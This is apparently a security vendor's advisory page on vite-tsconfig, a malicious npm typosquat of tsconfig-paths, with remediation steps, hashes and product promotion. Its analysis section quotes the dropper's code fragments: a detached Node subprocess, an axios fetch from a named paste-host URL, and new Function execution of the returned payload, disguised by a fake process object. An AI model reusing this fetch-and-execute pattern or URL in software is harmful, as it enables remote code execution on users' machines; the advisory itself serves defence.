Which versions of vite-tsconfig are malicious?

The following npm versions of vite-tsconfig are flagged malicious: 1.1.0, 1.1.2, 1.1.3. Treat any of these as compromised.

How do I remediate vite-tsconfig if I installed it?

vite-tsconfig is a typosquat — you almost certainly intended a legitimately-named package. Remove vite-tsconfig, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed vite-tsconfig — how do I know if it already compromised me?

If vite-tsconfig was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is vite-tsconfig part of a known attack campaign?

Yes — vite-tsconfig is associated with the IN-MAL-2026-005599, IN-MAL-2026-005839, IN-MAL-2026-005834 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find vite-tsconfig across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for vite-tsconfig (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging vite-tsconfig across your stack and pipelines.

Malicious package

vite-tsconfignpm

vite-tsconfig is a confirmed malicious npm package (MAL-2026-5576) that typosquats a legitimate package to trick installs (malicious versions 1.1.0, 1.1.2, 1.1.3). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in vite-tsconfig (npm)

MAL-2026-5576

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall vite-tsconfig

What this malware does

Package impersonates the popular tsconfig-paths library (description: 'Load node modules according to tsconfig paths') but ships a hidden remote-code-execution dropper. The exported configJson API in lib/index.js spawns lib/mapProps.js as a detached Node subprocess with child_process.spawn('node', [script,...], {detached:true, stdio:'ignore'}). mapProps.js performs axios.get('https://www.jsonkeeper.com/b/LVKHJ'), reads response.data.Cookie, and executes the returned string with new Function('require', s)(require) — opaque attacker-controlled JavaScript runs with full Node privileges and access to require. The fetch is retried up to 5 times. The dropper is disguised by a fake local process object shadowing Node's global (const process = { env: { DEV_API_KEY: 'https://www.jsonkeeper.com/b/LVKHJ', DEV_SECRET_KEY: 'x-secret-key', DEV_SECRET_VALUE: '_' } }) so the URL and header look like benign environment-variable lookups, and by reading the payload from a field named Cookie to mimic session handling. lib/register.js even prints 'vite-json will be skipped', revealing inconsistent internal naming. The fetch source jsonkeeper.com is an anonymous mutable paste host with no integrity verification, allowing the attacker to swap the executed payload at any time.

Malicious versions

3 flagged

1.1.01.1.21.1.3

Indicators of compromise (SHA-256)

142b4a600291ebf355bb7915c082c34b329e58026dc3c1f181a5b1865c16cff9

75d47f96b6bb9c1d8c2ddfdf5ae6690d548ad7e02082b3fae8a34e839fe68541

88e76d2cfe72140b4419a881bd3271d2fb1f246444a8418f6decfd81a76dd17c

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for vite-tsconfig (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging vite-tsconfig across your stack and pipelines.
If you installed it — respond
vite-tsconfig is a typosquat — you almost certainly intended a legitimately-named package. Remove vite-tsconfig, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If vite-tsconfig was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks vite-tsconfig before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. vite-tsconfig on npm has been identified as a malicious package (versions 1.1.0, 1.1.2, 1.1.3 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005599IN-MAL-2026-005839IN-MAL-2026-005834

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks vite-tsconfig-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database